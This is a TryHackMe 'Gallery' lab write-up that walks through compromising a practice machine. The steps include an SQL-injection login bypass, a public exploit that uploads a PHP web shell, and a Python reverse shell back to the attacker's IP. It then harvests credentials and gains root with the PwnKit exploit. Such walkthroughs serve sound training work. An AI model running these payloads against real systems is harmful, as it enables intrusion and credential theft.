Contents

TryHackMe : Gallery WriteUp

This is my writeup for the Gallery room/machine of TryHackMe.com platform. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but…

Machine

Our gallery is not very well secured.

The machine is rated as an easy machine and if you’re looking for a simple machine to practice/learn…do it. If you’re confortable with THM medium/hard rooms it will be a good exercise!

The techiques used in this machine over a small enumeration:

Recon

Point 0: add the IP into the /etc/hosts as gallery.thm

First of all I run a classic nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
nmap -sC -sV -p- gallery.thm
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-12 11:29 GMT
Nmap scan report for 10.10.92.236
Host is up (0.032s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Simple Image Gallery System

I’m looking at a Linux machine with two open ports: 80 and 8080.

When I browse the page 80 I reach just the default apache/ubuntu default home page, I run a gobuster in order to find some directories:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
gobuster dir -u http://gallery.thm -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.92.236
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/12 11:30:55 Starting gobuster in directory enumeration mode
===============================================================
/gallery              (Status: 301) [Size: 314] [--> http://10.10.92.236/gallery/]
/server-status        (Status: 403) [Size: 277]                                   
                                               
===============================================================
2022/02/12 11:32:19 Finished
===============================================================

There is only one directory useful, the /gallery one.

Before moving on further exploration I check the port 8080, the proxy redirect the gallery directory on port 8080.

The login page is the http://gallery.thm/gallery/login.php

../images/thm-gallery/01.png
login.php

Foothold

Before bruteforcing, trying something else etc etc I checked on the exploit-db if this application have an exploit or some PoC and…there is!

The exploit is pretty clear and is described as “Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)", looking at the code at the login part there is something interesting:

1
2
3
4
5
print("Login Bypass")

request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "admin' or '1'='1'#", "password": ""}

I simply tried it before running the exploit, a simple login with user admin’ or ‘1'='1’# without password

../images/thm-gallery/02.png
Login bypass

and it works. Let’s run the full exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
searchsploit -m 50214

python3 50214.py 

TARGET = http://gallery.thm/gallery
Login Bypass
shell name TagovazehvslayeqmwpLetta

protecting user

User ID : 1
Firsname : Adminstrator
Lasname : Admin
Username : admin

shell uploading
- OK -
Shell URL : http://gallery.thm/gallery/uploads/1644666120_TagovazehvslayeqmwpLetta.php?cmd=whoami

I can finally check if it the payload was uploaded

1
2
3
4
5
6
7
8
9
curl -L -i http://10.10.92.236/gallery/uploads/1644666120_TagovazehvslayeqmwpLetta.php?cmd=whoami
HTTP/1.1 200 OK
Date: Sat, 12 Feb 2022 11:43:50 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 20
Content-Type: text/html; charset=UTF-8

<pre>www-data
</pre>     

and it was. I move to the next step, I run a netcat listener on my local machine port 4444 and instead of the whoami command I run a shell (python). From my browser I run this request:

1
http://10.10.92.236/gallery/uploads/1644666120_TagovazehvslayeqmwpLetta.php?cmd=/usr/bin/python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.11.55.171%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

I know, this is not the most elegant version but it’s working

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
nc -nvlp 4444  
listening on [any] 4444 ...


connect to [10.11.55.171] from (UNKNOWN) [10.10.92.236] 43820
/bin/sh: 0: can't access tty; job control turned off

$ ls -ltra
total 48                                                                                                                                                                                                                                     
-rwxr-xr-x  1 www-data www-data 23318 Sep 11  2020 no-image-available.png 
-rwxr-xr-x  1 www-data www-data  4450 Aug  9  2021 gallery.png
drwxr-xr-x  6 www-data www-data  4096 Aug  9  2021 user_1  
drwxr-xr-x 16 www-data www-data  4096 Aug 25 10:22 .. 
-rw-r--r--  1 www-data www-data   106 Feb 12 11:42 1644666120_TagovazehvslayeqmwpLetta.php                                                              
drwxr-xr-x  3 www-data www-data  4096 Feb 12 11:42 .     

Login as www-data done.

Let’s check the files of the application, there is an hash to retrieve!

The file initialize.php is the one I need:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
www-data@gallery:/var/www/html/gallery$ cat initialize.php

<?php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');

if(!defined('base_url')) define('base_url',"http://" . $_SERVER['SERVER_ADDR'] . "/gallery/");
if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"[REDACTED]");
if(!defined('DB_NAME')) define('DB_NAME',"gallery_db");
?>

There is the user/pass/DB of the application, I login to mysql and check it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
mysql -u gallery_user -p[REDACTED]  

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 44
Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use gallery_db
use gallery_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [gallery_db]> show tables;
show tables;
+----------------------+
| Tables_in_gallery_db |
+----------------------+
| album_list           |
| images               |
| system_info          |
| users                |
+----------------------+
4 rows in set (0.00 sec)

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'users' at line 1
MariaDB [gallery_db]> select * from users;
select * from users;
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
| id | firstname    | lastname | username | password                         | avatar                                          | last_login | type | date_added          | date_updated        |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
|  1 | Adminstrator | Admin    | admin    | redacted-hash-                   | uploads/1644667020_TagogndeuidsyonnpjoLetta.php | NULL       |    1 | 2021-01-20 14:02:37 | 2022-02-12 11:57:29 |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
1 row in set (0.00 sec)

And I found the hash of the user admin.

PE to mike

There is a user with the flag, the user mike.

I was lazy, really lazy and I used linpeas.sh for checking the possible and visible misconfigurations. What linpeas found was really interesting:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
....
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version                                                                                                                                                                   
Sudo version 1.8.21p2                                                                                                                                                                                                                        

Vulnerable to CVE-2021-4034

╔══════════╣ Searching passwords in history files
      @stats   = stats                                                                                                                                                                                                                       
      @items   = { _seq_: 1  }
      @threads = { _seq_: "A" }
sudo -lb3[REDACTED]x
sudo -l

It seems mike wrongly wrote a sudo -l command and he wrote the password on the same line. And it was saved on the bash_history file.

It seems weird..but try it :)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

www-data@gallery:/home/mike$ su - mike

Password: 3[REDACTED]x
mike@gallery:~$ id
id
uid=1001(mike) gid=1001(mike) groups=1001(mike)
mike@gallery:~$ cd /home/mike
cd /home/mike
mike@gallery:~$ cat user.txt
cat user.txt
THM{redacted}

To better understand where/what linpeas is checking just read the code of the script. The requested files are into /var/backups

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mike@gallery:~$ cd /var/backups
cd /var/backups
mike@gallery:/var/backups$ ls -ltra
ls -ltra
total 56
-rw-r--r--  1 root root  3575 May 20  2021 apt.extended_states.2.gz
drwxr-xr-x 13 root root  4096 May 20  2021 ..
-rw-r--r--  1 root root  3516 May 21  2021 apt.extended_states.1.gz
drwxr-xr-x  5 root root  4096 May 24  2021 mike_home_backup
-rw-r--r--  1 root root 34388 Aug 25 10:35 apt.extended_states.0
drwxr-xr-x  3 root root  4096 Feb 12 13:25 .
mike@gallery:/var/backups$ cd mike_home_backup
cd mike_home_backup
mike@gallery:/var/backups/mike_home_backup$ ls -ltra
ls -ltra
total 36
-rwxr-xr-x 1 root root  807 May 24  2021 .profile
drwxr-xr-x 2 root root 4096 May 24  2021 images
drwxr-xr-x 3 root root 4096 May 24  2021 .gnupg
drwxr-xr-x 2 root root 4096 May 24  2021 documents
-rwxr-xr-x 1 root root 3772 May 24  2021 .bashrc
-rwxr-xr-x 1 root root  220 May 24  2021 .bash_logout
-rwxr-xr-x 1 root root  135 May 24  2021 .bash_history
drwxr-xr-x 5 root root 4096 May 24  2021 .
drwxr-xr-x 3 root root 4096 Feb 12 13:25 ..

PE to root

According to linpeas there is another vulnerability in the system: CVE-2021-4034 - pwnkit.

I think this is the unintended way to obtain the root and I’ll write both the ways.

PwnKit

First of all I check the pkexec file

1
2
3
mike@gallery:~$ ls -ltra /usr/bin/pkexec
ls -ltra /usr/bin/pkexec
-rwsr-xr-x 1 root root 22520 Mar 27  2019 /usr/bin/pkexec

Ok, it’s vulnerable. Let’s download the binary in my local machine and serve it via http:

1
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit

and run it into the gallery machine:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
mike@gallery:~$ wget 10.11.55.171/PwnKit
mike@gallery:~$ chmod +x PwnKit
chmod +x PwnKit
mike@gallery:~$ ./PwnKit
./PwnKit
root@gallery:/home/mike# cd /root
cd /root
root@gallery:~# cat root.txt
cat root.txt
THM{REDACTED}

Sudo + nano

The creator way to obtain the root is abusing the sudo privilege of a script/nano:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
mike@gallery:~$ sudo -l
Matching Defaults entries for mike on gallery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mike may run the following commands on gallery:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh

mike@gallery:~$ cat /opt/rootkit.sh
cat /opt/rootkit.sh
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

# Execute your choice
case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac

mike@gallery:~$ export TERM=linux
mike@gallery:~$ sudo /bin/bash /opt/rootkit.sh

Would you like to versioncheck, update, list or read the report ? read
read

Using the read function in a fully interactive shell you can abuse the sudo privilege of nano.

I didn’t tried this solution because I had several issue with the interactive shell (I must fix it…yes) but it is explained on the official creator page writeup.